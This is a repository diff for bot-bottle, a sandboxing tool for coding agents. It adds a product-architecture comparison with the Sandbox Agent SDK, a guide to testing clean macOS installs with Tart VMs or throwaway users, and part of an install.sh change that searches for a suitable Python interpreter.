+| Isolation primitive | VM/container/process boundary, filesystem, CPU/memory, networking substrate | Firecracker, Apple Container, Docker, E2B, Daytona, BoxLite, etc. |
+
+The important boundary is between trusted policy/lifecycle and agent control.
+The agent-control daemon runs in the environment being treated as untrusted.
+It can report what the agent says happened, but it cannot authoritatively prove
+that policy was enforced. Egress decisions, credential custody, Git scanning,
+bottle identity, and security audit must remain outside it.
+
+### Proposed composition
+
+```text
+operator UI / CLI / API
+          |
+          v
+bot-bottle orchestrator  (trusted)
+  - resolves manifest
+  - owns bottle identity and lifecycle
+  - stores authoritative audit
+  - authenticates clients
+          |
+          +--------------------------+
+          |                          |
+          v                          v
+isolation backend              shared gateway  (trusted)
+Firecracker / Apple / Docker   - egress policy + DLP
+          |                    - credential injection
+          |                    - Git mediation
+          v
+bottle / guest  (untrusted)
+  - Sandbox Agent server
+  - Claude Code / Codex / Pi subprocess
+  - workspace, skills, MCP configuration
+```
+
+The bot-bottle manifest would compile into both sides:
+
+- **outside the bottle:** backend, network, egress, credentials, Git,
+  supervision, identity, and authoritative lifecycle;
+- **inside the bottle:** selected provider, prompt, skills, MCP configuration,
+  startup arguments, and non-secret session metadata.
+
+Sandbox Agent should never receive real secrets merely because its API offers
+a credential extraction helper. Provider and forge requests should continue
+to use bot-bottle's placeholder/proxy pattern.
+
+## How accurate is the Docker/OCI analogy?
+
+### The useful part
+
+The container ecosystem separates low-level execution from a product that
+ordinary developers operate. OCI defines interoperable image, runtime, and
+distribution specifications. Docker Engine adds a daemon, API, CLI, object
+model, images, networks, volumes, and lifecycle; Docker Desktop and related
+products add installation, updates, UI, integrations, policy, and team
+workflows.
+
+The same separation can exist for coding agents:
+
+| Container ecosystem | Agent-sandbox ecosystem |
+|---|---|
+| OCI/runtime contract | A future open agent session/event contract |
+| `runc` / runtime adapter | Claude/Codex/Pi adapter |
+| containerd shim and task/exec API | Sandbox Agent server and HTTP/SSE session API |
+| containerd / CRI-style lifecycle | Sandbox-provider lifecycle APIs |
+| Docker Engine / Compose | bot-bottle orchestrator + manifests + backends + gateway |
+| Docker Desktop / Hub ecosystem | bot-bottle desktop/mobile UX, policy packs, agent images, skills, trusted integrations |
+
+Sandbox Agent makes coding-agent processes portable in roughly the way a shim
+makes runtimes consumable through a common lifecycle interface. bot-bottle can
+make the entire safe-agent system usable without asking the operator to
+assemble that plumbing.
+
+Official container references:
+
+- [Open Container Initiative](https://opencontainers.org/)
+- [OCI Runtime Specification](https://github.com/opencontainers/runtime-spec)
+- [Docker Engine architecture](https://docs.docker.com/engine/)
+- [Docker alternative runtimes and containerd shims](https://docs.docker.com/engine/daemon/alternative-runtimes/)
+
+### Where the analogy breaks
+
+1. **Sandbox Agent is an implementation, not an independent standard.**
+   Its OpenAPI document is public, but the project currently owns the server,
+   adapters, schema, and evolution. OCI is an independently governed set of
+   specifications with multiple implementations.
+2. **It sits above, not below, the isolation boundary.** Linux namespaces,
+   cgroups, VMs, and OCI runtimes create the boundary. Sandbox Agent controls a
+   process after some other system has created that boundary.
+3. **It reaches into product territory.** Inspector, React components,
+   computer-use APIs, skills/MCP configuration, transcripts, and restoration
+   are not merely low-level primitives. Sandbox Agent can continue growing
+   upward into the same UI and orchestration space bot-bottle might occupy.
+4. **Coding agents are semantically uneven.** Normalizing a container
+   lifecycle is easier than claiming full behavioral parity across Claude
+   Code, Codex, Cursor, Amp, OpenCode, and Pi. A universal schema can become a
+   lowest common denominator or accumulate provider-specific escape hatches.
+5. **The security contract is not standardized.** An agent-session API says
+   little about whether credentials are visible, egress is controlled, Git is
+   mediated, or audit is trustworthy. Those are core bot-bottle concerns.
+
+The positioning should therefore say “Docker-like product layer above an open
+agent-control protocol,” not “Sandbox Agent is OCI” or “bot-bottle implements
+OCI for agents.”
+
+## Can bot-bottle be the turnkey product layer?
+
+Yes, if it owns substantially more than launch syntax.
+
+The turnkey promise is:
+
+> Choose a trusted role, point it at a project, and run any supported coding
+> agent with full permissions. bot-bottle builds the environment, isolates it,
+> supplies only the capabilities it needs, keeps credentials outside, mediates
+> external writes, and gives the operator one place to watch and intervene.
+
+That product has several defensible jobs:
+
+### 1. Packaging and reproducibility
+
+- provider and toolchain images;
+- pinned, verified build inputs;
+- skills and MCP configuration;
+- role/bottle composition;
+- cached startup and portable environment definitions; and
+- compatibility testing across agents and backends.
+
+### 2. Trusted policy compilation
+
+The manifest is valuable because one reviewable document compiles into:
+
+- an isolation plan;
+- gateway routes and DLP policy;
+- credential slots;
+- Git-gate repositories and identities;
+- provider configuration;
+- supervision behavior; and
+- operator-facing preflight.
+
+Sandbox Agent's runtime configuration does not replace this. The policy must
+be resolved before an untrusted guest or agent-control daemon exists.
+
+### 3. Security enforcement
+
+- dedicated-kernel isolation where available;
+- no direct guest route to the internet;
+- credentials injected outside the agent;
+- content inspection on allowed destinations;
+- Git secrets scanning and upstream-key custody;
+- fail-closed policy resolution; and
+- authoritative host-side audit.
+
+This is the strongest current differentiation from a generic
+“Sandbox Agent + Docker/E2B” assembly.
+
+### 4. Lifecycle and operations
+
+- install and host preflight;
+- image build/update;
+- start, stop, resume, cleanup, and migration;
+- concurrent named agents;
+- state recovery after crashes;
+- live supervision and policy remediation; and
+- backend selection without changing the role definition.
+
+### 5. Ecosystem and DX
+
+A product layer can support:
+
+- curated provider images;
+- signed policy/bottle packs;
+- reusable role templates;
+- skills and MCP bundles;
+- backend plugins;
+- an authenticated desktop/web/mobile operator client;
+- browser/preview integration;
+- normalized transcripts and change review; and
+- team policy distribution and compliance exports.
+
+The analogy to Docker is strongest here: users adopt the coherent workflow and
+ecosystem, not because the low-level process API is proprietary.
+
+## Business and product positioning
+
+“Turnkey wrapper” is understandable internally but weak externally. It implies
+that the hard work lives underneath and that another wrapper can replace it.
+Prefer one of:
+
+- **The policy-first runtime for coding agents**
+- **Run any coding agent with full permissions, without giving it your host or
+  credentials**
+- **A turnkey local control plane for isolated coding agents**
+- **Docker-like packaging and operations for coding agents, with the security
+  boundary outside the agent**
+
+The open/product split could resemble the container ecosystem:
+
+### Open foundation
+
+- manifest schema and composition;
+- local CLI and core orchestrator;
+- provider adapters;
+- Firecracker/Apple Container/Docker backends;
+- gateway policy format and enforcement;
+- Sandbox Agent compatibility;
+- local audit and supervision; and
+- conformance tests for providers/backends/policy.
+
+### Productizable ecosystem/DX
+
+- polished desktop and mobile clients;
+- fleet/remote-host management;
+- signed and curated role/image/policy registry;
+- team policy distribution and administrative controls;
+- durable searchable transcripts and audit exports;
+- SSO, RBAC, retention, and tamper-evident audit;
+- managed update/compatibility channels;
+- remote browser/preview relay;
+- enterprise support; and
+- optional managed build/cache infrastructure.
+
+OCI itself is not the thing Docker sells. Interoperability expands the market;
+the product captures value through reliable packaging, workflow, distribution,
+management, and trust. bot-bottle should follow that logic rather than trying
+to make its session protocol the moat.
+
+## Strategic threat from Sandbox Agent
+
+Sandbox Agent is a real threat for three reasons:
+
+1. **It can become the integration default.** A frontend or agent platform can
+   integrate one API and choose among many agents and sandbox vendors.
+2. **It can own session data and UI.** The universal event schema, Inspector,
+   React components, restoration, terminal, and computer-use APIs give it a
+   natural path toward the operator surface.
+3. **Sandbox providers can move upward.** If E2B, Daytona, BoxLite, or another
+   runtime combines Sandbox Agent with adequate network policy and credential
+   custody, it can offer much of the turnkey stack.
+
+The threat is not that its manifest syntax is better. It currently has no
+equivalent trusted policy composition. The threat is that **the ecosystem may
+standardize around its API before bot-bottle has a stable external control
+surface**. In that world bot-bottle is evaluated as one sandbox provider,
+while the SDK and its consumers own the user relationship.
+
+## Why bot-bottle can still win its layer
+
+Sandbox Agent's scope exclusions align with bot-bottle's deepest work:
+
+- it does not choose or operate the sandbox provider;
+- it does not mediate Git;
+- it does not own network policy;
+- it does not securely deliver credentials;
+- it does not durably store sessions; and
+- it cannot make guest-generated telemetry authoritative.
+
+Those are not incidental features. Together they define the trusted system
+around an untrusted coding agent. bot-bottle also has a narrower and coherent
+initial customer: a developer or small operator who wants existing agent CLIs
+to run locally with broad permissions and bounded consequences.
+
+The durable advantage is therefore:
+
+> Sandbox Agent makes agents controllable. bot-bottle makes them safe and
+> operable.
+
+That sentence remains true only if bot-bottle closes its operator-DX gaps.
+Security without a browser/preview loop, stable API, normalized session view,
+and good parallel-task UX risks becoming an invisible backend feature.
+
+## Integration options
+
+### Option A — Embed Sandbox Agent inside each bottle
+
+bot-bottle launches Sandbox Agent as the provider process supervisor and
+connects it to the host orchestrator through a bottle-scoped authenticated
+channel.
+
+**Benefits**
+
+- immediate provider-neutral session API;
+- more supported agents;
+- normalized streaming and transcripts;
+- terminal, filesystem, process, and computer-use primitives;
+- Inspector/React ecosystem; and
+- less provider-specific reverse engineering in bot-bottle.
+
+**Risks**
+
+- `0.x` API/schema churn;
+- extra binary and release-supply-chain dependency;
+- lowest-common-denominator normalization;
+- conflict with provider-native resume state;
+- an in-guest daemon is attacker-controlled after guest compromise;
+- duplicate orchestration responsibilities; and
+- upstream can move into policy/lifecycle and compete more directly.
+
+**Security rule**
+
+Treat every event and state claim from Sandbox Agent as untrusted telemetry.
+Never delegate egress authorization, credential release, bottle identity,
+authoritative audit, or Git policy to it.
+
+### Option B — Implement a Sandbox Agent-compatible endpoint
+
+bot-bottle maps the external protocol onto its existing provider adapters and
+process model without running the upstream server.
+
+**Benefits**
+
+- ecosystem compatibility with tighter component control;
+- no in-guest daemon dependency; and
+- room to preserve bot-bottle-native lifecycle semantics.
+
+**Risks**
+
+- large and continuing compatibility burden;
+- “full feature coverage” is expensive across all providers;
+- accidental protocol fork; and
+- effort diverted from policy and UX differentiation.
+
+### Option C — Define an independent bot-bottle session API
+
+Build only the control surface bot-bottle needs.
+
+**Benefits**
+
+- clean fit with the trust model and persistent named bottles;
+- no upstream dependency; and
+- deliberate support for supervision and security events.
+
+**Risks**
+
+- recreates a fast-growing open-source project;
+- no existing client ecosystem;
+- slower browser/desktop/mobile work; and
+- increases the chance that Sandbox Agent becomes the de facto standard first.
+
+### Recommendation
+
+Start with **Option A as a bounded compatibility spike**, not a product
+commitment. Do not begin with a clean-room competing protocol.
+
+The spike should answer:
+
+1. Can Claude Code, Codex, and Pi retain exact native resume behavior?
+2. Can Sandbox Agent run without receiving real provider credentials?
+3. Can its server be reached through a bottle-scoped authenticated channel
+   without exposing the orchestrator or broadening guest egress?
+4. Which permission events overlap or conflict with bot-bottle supervision?
+5. Can normalized events be stored while clearly separating untrusted
+   transcript telemetry from authoritative gateway/Git audit?
+6. Can manifest skills, MCP servers, prompt, and startup arguments compile
+   deterministically into its configuration?
+7. Does its versioning policy permit a compatibility contract bot-bottle can
+   support?
+8. What image-size, startup-time, and update burden does the binary add?
+
+If the answers are favorable, adopt it behind a bot-bottle-owned interface and
+pin/test the supported version. If not, implement the smallest compatible
+subset needed by external clients before inventing a wholly separate API.
+
+## Product roadmap implications
+
+The competitor scan and this architecture comparison reorder the likely work:
+
+1. **Provider-neutral control/session compatibility spike**
+2. **Stable authenticated external bot-bottle API**
+3. **Normalized transcript/event persistence**
+4. **Parallel-session operator UI**
+5. **Browser/preview/computer-use capability**
+6. **Policy/image/skill distribution and signing**
+7. **Remote host/fleet management**
+
+This does not mean pausing security work. It means exposing the shipped
+security work through a product surface that can compete with the SDK-plus-
+sandbox ecosystem.
+
+## Decision
+
+Treat Sandbox Agent SDK as a potentially standard **agent process-control
+layer**, not as a sandbox replacement and not as a minor complementary
+library. Position bot-bottle one layer above it:
+
+- manifests express trusted role and environment policy;
+- bot-bottle compiles and enforces that policy across host, gateway, Git, and
+  isolation backends;
+- Sandbox Agent or a compatible protocol controls the selected agent process;
+  and
+- bot-bottle owns the turnkey operator experience.
+
+The Docker analogy is strategically sound when stated as:
+
+> Sandbox Agent can be the portable task/exec protocol; bot-bottle can be the
+> opinionated engine, Compose-like policy layer, and Desktop-like operator
+> product.
+
+It is not sound when stated as:
+
+> Sandbox Agent is OCI and bot-bottle is Docker.
+
+There is no independent OCI-equivalent agent specification yet, and Sandbox
+Agent already reaches into UI/session territory. Compatibility should be
+pursued quickly, while the trusted manifest/enforcement plane and operator
+experience remain the parts bot-bottle deliberately owns.
@@ -0,0 +1,305 @@
+# Testing a clean bot-bottle install on macOS
+
+How do you exercise `install.sh` (and, ideally, a first `bot-bottle start`)
+the way a brand-new user would — on a pristine macOS environment you can
+throw away afterward — *without* permanently polluting your daily-driver
+Mac? The user's framing: is there a VM or boundary that avoids creating a
+separate account, or is spinning up and tearing down a throwaway macOS
+user on the CLI easy enough to just do that?
+
+## Summary
+
+There is no lightweight, in-place macOS sandbox that hands you a clean home
+directory and wipeable system state without *either* a VM or a separate
+user account. `sandbox-exec` (Seatbelt) is deprecated and confines a
+process, not an environment; App Sandbox is for shipping apps, not for
+provisioning a fresh dev host. So the real choice is exactly the two the
+user named: **a disposable macOS VM** or **a throwaway user account** —
+and which one is right turns on a detail specific to *this* project.
+
+bot-bottle's default macOS backend is Apple's `container`, which runs each
+container in its own lightweight VM via `Virtualization.framework`
+([`README.md:27`](../README.md), [`apple-container-backend.md`](apple-container-backend.md)).
+That means a full end-to-end test — install *and* `bot-bottle start` —
+needs virtualization to work wherever bot-bottle runs. Inside a macOS guest
+VM that requires **nested virtualization, which Apple gates to M3 or newer
+chips on macOS 15+**. On M1/M2 you cannot run the Apple Container backend
+(or Docker Desktop, same reason) inside a macOS VM at all.
+
+The recommendation splits on what you're testing and what silicon you have:
+
+- **Install-script correctness only** (does `curl | sh` → pipx → config dir
+  → `doctor`'s Python/config checks pass?): a **disposable Tart VM** is the
+  cleanest boundary and works on any Apple Silicon Mac. `doctor` will report
+  the backend as not-ready inside the VM on M1/M2, which is fine — you're
+  testing the installer, not the runtime.
+- **Full runtime** (actually launch a bottle) on **M3/M4**: a **disposable
+  Tart VM from a golden base image, cloned per run** is the gold standard —
+  a genuine kernel/state boundary that wipes to nothing.
+- **Full runtime** on **M1/M2**, or when you'd rather not fight nested virt:
+  a **throwaway admin user via `sysadminctl`** is the pragmatic pick. It
+  tests the real backend because the backend runs on the host hypervisor —
+  but it is a *hygiene* boundary, not a security one, and it does **not**
+  clean the system-level footprint (see below).
+
+Prefer the VM. Reach for the throwaway user only when nested virt is off the
+table and you accept an imperfect wipe.
+
+## Why "a boundary without a separate user" doesn't really exist on macOS
+
+macOS has no namespace/overlay story like Linux `unshare` + tmpfs. The
+options that sound like in-place sandboxes don't fit:
+
+| Mechanism | Why it doesn't give you a clean, wipeable env |
+|---|---|
+| `sandbox-exec` / Seatbelt | Officially deprecated; confines *one process's* syscalls against a profile. It cannot present a fresh `$HOME` or a pristine `/usr/local`, and it won't let the Apple Container system service work. |
+| App Sandbox | Entitlement-based confinement for signed `.app` bundles, not a provisioning tool for a CLI dev environment. |
+| A second `$HOME` via `HOME=/tmp/foo` | Redirects only what honors `$HOME`. `install.sh` mostly does (it writes `~/.bot-bottle` and pipx/pip `--user` paths), but the Apple `container` install lands in `/usr/local` + a **system service**, and Homebrew lands in `/opt/homebrew` — all outside any `$HOME` you set. You'd get a false sense of "clean." |
+| APFS snapshot rollback (`tmutil localsnapshot`) | You can't roll the live boot volume back to a local snapshot without booting to Recovery; it's not a per-run userspace undo. |
+
+So the honest answer to "is there some boundary that avoids a separate
+user?": yes — a **VM** — and it's the *stronger* boundary anyway. The only
+lighter-weight option is the separate user, with the caveats below.
+
+## What a clean install actually touches (the footprint that decides "wipeable")
+
+Grounding the teardown story in what `install.sh` and the backend create:
+
+| Artifact | Location | In `$HOME`? | Survives user deletion? |
+|---|---|---|---|
+| Config / state / db | `~/.bot-bottle/{agents,bottles,contrib,state,db}` ([`install.sh:80-83`](../install.sh), [`bot_bottle/paths.py:59`](../bot_bottle/paths.py)) | ✅ | ❌ removed with home |
+| pipx venv + shim | `~/.local/pipx/venvs/bot-bottle`, shim in `~/.local/bin` ([`install.sh:87-89`](../install.sh)) | ✅ | ❌ removed with home |
+| private venv fallback (no pipx) | `~/.bot-bottle/venv` + symlink in `~/.local/bin` ([`install.sh`](../install.sh)) | ✅ | ❌ removed with home |
+| PATH / token exports | shell profile (`~/.zprofile`, etc.); `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN` ([`README.md:74`](../README.md)) | ✅ | ❌ removed with home |
+| **Apple `container` install** | `/usr/local/...` + notarized `.pkg` receipts | ❌ | ✅ **stays** |
+| Apple `container` **service state** | per-user: `~/Library/Application Support/com.apple.container/` (`container system start`) | ✅ | ❌ removed with home |
+| **Homebrew** (if used for `container`/python) | `/opt/homebrew` | ❌ | ✅ **stays** |
+| Rosetta 2 (needed for image builds) | system | ❌ | ✅ **stays** |
+
+The bold rows are the crux: **deleting the throwaway user does not uninstall
+the Apple Container runtime, Homebrew, or Rosetta.** A VM, by contrast, wipes
+100% of the above by definition — that's its entire advantage for this task.
+
+The service row is the exception, and a live harness run corrected it: the
+Apple `container` service is **per-user**, not a host-wide launchd service.
+`container system status` reports an `appRoot` under
+`~/Library/Application Support/com.apple.container/`, and a freshly created
+account sees `container system service: NOT running` even while the creating
+admin's is running. That cuts both ways — the state is genuinely removed with
+the home, so the reset is *more* complete than this table first claimed, but
+it also means **no brand-new user can run a bottle until they run
+`container system start` once**. `doctor` correctly fails until they do, which
+is why `test` judges backend readiness separately from install correctness.
+
+## Option A — Disposable Tart VM (recommended)
+
+[Tart](https://tart.run) is a CLI-first macOS/Linux VM manager built on
+`Virtualization.framework`, purpose-built for exactly this "does it work on
+a clean macOS, without my settings/permissions/data" workflow. Keep one
+pristine *golden* image, clone a throwaway per run, delete it after.
+
+```sh
+brew install cirruslabs/cli/tart
+
+# One-time: build a golden base (either a prebuilt image or a vanilla IPSW).
+tart clone ghcr.io/cirruslabs/macos-tahoe-base:latest golden   # ~25 GB pull
+# — or a truly vanilla install you click through once —
+# tart create golden --from-ipsw latest --disk-size 60
+
+# Per test run: clone → boot → test → destroy.
+tart clone golden test-run
+tart run test-run &
+ssh admin@"$(tart ip test-run)"
+#   inside the guest:
+#   curl -fsSL https://gitea.dideric.is/didericis/bot-bottle/raw/branch/main/install.sh | sh
+#   bot-bottle doctor
+tart stop test-run
+tart delete test-run          # back to pristine; golden is untouched
+```
+
+Cloning is cheap (sparse files), so the golden image is your reset button —
+every `tart clone` is a fresh macOS. This is the closest thing to a Linux
+`docker run --rm` for a whole Mac.
+
+**The nested-virt caveat (read before relying on it for runtime tests).**
+The Apple Container backend inside the guest needs
+`Virtualization.framework` to work *inside* the VM. Apple enables nested
+virtualization only on **M3 or newer**, on **macOS 15 (Sequoia) or later**;
+M2 and earlier are excluded by Apple, confirmed by Apple DTS. Consequences:
+
+- **M3/M4 host:** full runtime works in the guest. `bot-bottle doctor`
+  reports the backend ready and `start` can launch a bottle. Gold standard.
+- **M1/M2 host:** the guest can install bot-bottle and pass the Python /
+  config-dir checks, but `doctor`'s backend check will fail and you cannot
+  launch a bottle in the VM. Still perfectly good for testing *the
+  installer*; not for the runtime.
+- **M4-specific:** a known bug blocks pre-Ventura guests on M4; use a
+  current macOS guest (which you want anyway, since Apple `container`
+  targets macOS 26 Tahoe).
+
+UTM is the GUI equivalent on the same framework (and was first to expose
+nested virt) if you'd rather click; Tart wins for a scriptable
+spin-up/tear-down loop.
+
+## Option B — Throwaway user via `sysadminctl` (pragmatic fallback)
+
+Creating and deleting a user from the CLI is genuinely a two-liner, and it
+tests the **real** backend on any Apple Silicon Mac because the backend runs
+on the host hypervisor — no nested virt needed.
+
+```sh
+# Create a self-contained admin user (admin needed for the container service).
+sudo sysadminctl -addUser bbtest -fullName "bot-bottle test" \
+    -password 'throwaway' -admin
+
+# Log into that account (fast-user-switch or the login window), then run the
+# installer as bbtest exactly as a new user would. When done:
+
+sudo sysadminctl -deleteUser bbtest -secure   # -secure erases the home dir
+```
+
+Honest accounting of what this does and doesn't buy you:
+
+- **Boundary strength:** it's a *hygiene / fresh-`$HOME`* boundary, **not a
+  security boundary.** Same kernel, same admin group; an admin test user can
+  touch system state. If the point is "clean environment," fine. If the point
+  is "contain something untrusted," this is the wrong tool — use a VM.
+- **Wipe completeness:** `-secure` erases the home dir (so `~/.bot-bottle`,
+  the pipx venv, and profile exports go away), but as the footprint table
+  shows, the **Apple Container runtime, its launchd system service,
+  Homebrew, and Rosetta persist.** For a truly repeatable "did a *system with
+  nothing installed* work?" test, that residue defeats the purpose — the
+  second run isn't clean.
+- **Operational gotchas:** don't pass real passwords on the command line (they
+  land in `ps` and history — this is a throwaway credential, so it's
+  tolerable here). Deletion must run as root from a normally-booted, admin-
+  logged-in session; the Terminal needs **Full Disk Access** or you'll hit
+  error `-14120` and a half-deleted account. Prefer letting the system place
+  the home dir (don't pass `-home`), or deletion can orphan it.
+
+Use this when you're on M1/M2, you specifically want to exercise the live
+backend, and you can tolerate the system-level runtime staying installed
+between runs (or you uninstall Apple `container` / brew by hand to reset).
+
+## Honorable mentions
+
+- **External bootable macOS volume.** A fresh macOS on an external SSD (or a
+  separate APFS volume) is bare-metal disposable: no nested-virt limit, real
+  backend works, and you `diskutil` the volume away to reset. Cost is reboot
+  friction per run — good for an occasional thorough pass, poor for a tight
+  loop.
+- **Rented / cloud Mac.** AWS EC2 Mac (dedicated Mac minis), Scaleway Apple
+  silicon, or MacStadium give a genuinely throwaway host you release when
+  done. Overkill for local iteration, but this is essentially what the
+  project's own advisory `integration-macos` CI job needs — a self-hosted
+  Apple Silicon runner with the `container` CLI, Python ≥ 3.11, and coverage
+  on the launchd service's PATH ([`README.md:78`](../README.md)). If you end
+  up standing up a cloud Mac for install testing, it doubles as that runner.
+
+## Recommendation
+
+Default to a **disposable Tart VM** — it's the only option that wipes the
+*entire* footprint (including the Apple Container system service that a user
+deletion leaves behind), it's a real boundary, and the spin-up/tear-down
+loop is a two-command `tart clone` / `tart delete`. Confirm your chip first:
+on **M3/M4** it tests install *and* runtime end-to-end; on **M1/M2** it still
+cleanly tests `install.sh` + `doctor`'s Python/config path, and you fall back
+to a **throwaway `sysadminctl` admin user** for live-backend testing —
+accepting that it's a hygiene boundary and that you'll manually uninstall the
+Apple Container runtime / Homebrew between runs to get back to truly clean.
+
+There is no third, lighter-weight "in-place boundary without a user" that
+actually delivers a clean, wipeable macOS — the VM *is* that answer, and it's
+the better one.
+
+## Harness
+
+The throwaway-user loop is scripted in
+[`scripts/macos-install-test.sh`](../../scripts/macos-install-test.sh):
+`up` creates the account, `run` pipes *this checkout's* `install.sh` into it
+headlessly (so a PR is verifiable before it lands) and lets the installer run
+`doctor`, `down` deletes the account and its home (the full reset), and
+`deep-reset` additionally uninstalls the host `container` runtime. It leans on
+the footprint analysis above — the reset is just user deletion because
+everything `install.sh` writes is user-home-local.
+
+There are two one-shot cycles, because "does the installer work" and "can a new
+user actually run a bottle" are different questions:
+
+```sh
+sudo ./scripts/macos-install-test.sh test        # up → run → status → down
+sudo ./scripts/macos-install-test.sh test-ready  # ... + prereqs before status
+```
+
+`test` models a macOS system **without** the prerequisites set up for this user
+— which is the default state of every new account, since the `container`
+service is per-user. It asserts the install is sound and *reports* backend
+readiness without failing on it, because install.sh provides no backend and so
+cannot regress one.
+
+`test-ready` models a system **with** them, then demands doctor go fully green,
+backend included. Both variants pass as of this writing.
+
+### The per-user prerequisite is two steps, not one
+
+Running it revealed that "set up the backend for this account" is more than
+starting a service:
+
+1. **`container system start`** — the service is per-user. The run confirms it
+   directly: the throwaway account's `appRoot` is
+   `/Users/bbtest/Library/Application Support/com.apple.container/`, its own,
+   and starting it left the admin's service untouched.
+2. **A guest kernel**, which also lives in that per-user app root. A fresh
+   account has none, so `container system start` prompts to download one —
+   and *only* prompts, since the flags default to asking. Headless callers
+   must pass `--enable-kernel-install` or the command dies on
+   `failed to read user input`.
+
+Neither step is done by `bot-bottle backend setup --backend=macos-container`,
+which only checks and then tells you to run `container system start` yourself.
+So a new account's real path to a working backend is:
+`container system start --enable-kernel-install`.
+
+The harness must also enter the user's launchd domain via
+`launchctl asuser <uid>` to do any of this. `container system start` registers
+`com.apple.container.apiserver` as a per-user launchd agent and talks to it
+over XPC; from plain `sudo -u` the caller is still in root's bootstrap
+namespace, the lookup crosses domains, and the apiserver answers
+`invalidState: "unauthorized request"` even though the agent started fine.
+
+It refuses to start against an existing account (a reused home is not a clean
+install), and it tears the account down from an `EXIT`/`INT` trap armed the
+moment the account exists, so a failed or Ctrl-C'd run still leaves the machine
+clean. Its verdict is deliberately stricter than the installer's own: note that
+`install.sh` exits **0** when it finishes but `doctor` reports unmet
+prerequisites, so "the installer succeeded" is not the assertion — `test` fails
+if the install fails, if `bot-bottle` never reached the new user's `PATH`, or if
+`doctor` is unhappy. `BB_TEST_KEEP=1` skips the teardown to poke at a failure.
+
+### What a fresh account actually inherits
+
+Expect the first honest run on a developer Mac to fail at the *Python* gate,
+and expect that to be correct. A new account's `PATH` is just `/etc/paths`
+(`/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin`),
+which notably does **not** include `/opt/homebrew/bin`. Homebrew's `shellenv`
+line lives in the *installing* user's `~/.zprofile` and is not inherited, so a
+throwaway user resolves `python3` to `/usr/bin/python3` — the Command Line
+Tools stub, still **3.9.6** on macOS 26 — and `install.sh` correctly dies on its
+`3.11+` requirement. Your own shell resolving `python3` to a 3.14 Homebrew
+build says nothing about what a new user sees; that gap is exactly what this
+harness exists to expose.
+
+## Sources
+
+- [Apple Containers on macOS: technical comparison with Docker — The New Stack](https://thenewstack.io/apple-containers-on-macos-a-technical-comparison-with-docker/)
+- [How to Set Up Apple Containerization on macOS 26 — Stéphane Paquet](https://spaquet.medium.com/how-to-set-up-apple-containerization-on-macos-26-f870cc8c26cd)
+- [Install Apple Container CLI (macOS 15/26) — 4sysops](https://4sysops.com/archives/install-apple-container-cli-running-containers-natively-on-macos-15-sequoia-and-macos-26-tahoe/)
+- [Nested virtualization on Apple Silicon (M3+, macOS 15) — UTM issue #6700](https://github.com/utmapp/UTM/issues/6700)
+- [macOS 15 Sequoia nested virtualization for M3+ — Parallels Forums](https://forum.parallels.com/threads/macos-15-sequoia-nested-virtualization-for-m3-macs.364397/)
+- [M2 nested virtualization restriction (Apple DTS) — Apple Developer Forums](https://developer.apple.com/forums/thread/756723)
+- [M4 can't virtualize older macOS — Yahoo/Tech](https://tech.yahoo.com/computing/articles/m4-mac-computers-cant-virtualize-175122301.html)
+- [Tart — macOS/Linux VMs on Apple Silicon (Cirrus Labs)](https://tart.run/quick-start/)
+- [Tart GitHub](https://github.com/cirruslabs/tart)
+- [macOS VMs in a single command — frr.dev](https://www.frr.dev/posts/tart-macos-vms-from-terminal/)
+- [sysadminctl reference — SS64](https://ss64.com/mac/sysadminctl.html)
+- [User management from the macOS command line — macnotes](https://macnotes.wordpress.com/2019/03/28/user-management-create-remove-change-password-secure-token-from-macos-command-line/)
@@ -8,14 +8,20 @@
 #   pipx install bot-bottle        # from a checkout or a published index
 #   uv tool install bot-bottle
 #
-# This script is a thin bootstrapper: it checks prerequisites, installs the
-# package with pipx (falling back to pip --user), creates the config dir, and
-# runs `bot-bottle doctor`. It is idempotent (safe to re-run) and never uses
-# sudo. It does NOT install Docker or a VM backend for you — `doctor` reports
-# what's missing after install.
+# This script is a thin bootstrapper: it finds a Python 3.11+ interpreter,
+# installs the package with pipx (falling back to a private venv), creates the
+# config dir, and runs `bot-bottle doctor`. It is idempotent (safe to re-run)
+# and never uses sudo. It does NOT install Docker or a VM backend for you —
+# `doctor` reports what's missing after install.
+#
+# Env:
+#   BOT_BOTTLE_PYTHON        interpreter to install with (skips the search)
+#   BOT_BOTTLE_INSTALL_SPEC  pip/git spec to install instead of the default
+#   BOT_BOTTLE_VENV          where the non-pipx install lives (~/.bot-bottle/venv)
 set -eu

 PACKAGE_SPEC="${BOT_BOTTLE_INSTALL_SPEC:-git+https://gitea.dideric.is/didericis/bot-bottle.git}"
+VENV="${BOT_BOTTLE_VENV:-${HOME}/.bot-bottle/venv}"
 MIN_PYTHON_MAJOR=3
 MIN_PYTHON_MINOR=11

@@ -28,17 +34,97 @@ die() {
    exit 1
 }

-# --- prerequisites -----------------------------------------------------------
+# --- prerequisites: find an interpreter new enough ----------------------------

-command -v python3 >/dev/null 2>&1 \
-    || die "python3 ${MIN_PYTHON_MAJOR}.${MIN_PYTHON_MINOR}+ is required but was not found"
-
-python3 - "$MIN_PYTHON_MAJOR" "$MIN_PYTHON_MINOR" <<'PY' || die "python3 ${MIN_PYTHON_MAJOR}.${MIN_PYTHON_MINOR} or newer is required"
+# Is $1 an interpreter that exists and meets the floor?
+python_ok() {
+    [ -n "${1:-}" ] || return 1
+    command -v "$1" >/dev/null 2>&1 || return 1
+    "$1" - "$MIN_PYTHON_MAJOR" "$MIN_PYTHON_MINOR" <<'PY' >/dev/null 2>&1
 import sys

 want = (int(sys.argv[1]), int(sys.argv[2]))
 raise SystemExit(0 if sys.version_info[:2] >= want else 1)
 PY
+}
+
+python_version() {
+    "$1" -c 'import sys; print("%d.%d.%d" % sys.version_info[:3])' 2>/dev/null
+}
+
+# `python3` on PATH is often NOT the newest interpreter installed, and on macOS
+# it is usually the oldest: a fresh login shell's PATH is just /etc/paths, so
+# python3 resolves to the Command Line Tools stub (3.9.x) while the usable
+# 3.11+ build sits in /opt/homebrew/bin or a python.org framework directory,
+# reachable only via a line in the *installing* user's shell profile. A new
+# account inherits none of that. Look past PATH before giving up, so the common
+# case installs instead of dead-ending on a version error.
+find_python() {
+    for candidate in \
+        "${BOT_BOTTLE_PYTHON:-}" \
+        python3 \
+        python3.14 python3.13 python3.12 python3.11 \
+        /opt/homebrew/bin/python3 \
+        /usr/local/bin/python3 \
+        "${HOME}/.local/bin/python3" \
+        /Library/Frameworks/Python.framework/Versions/*/bin/python3
+    do
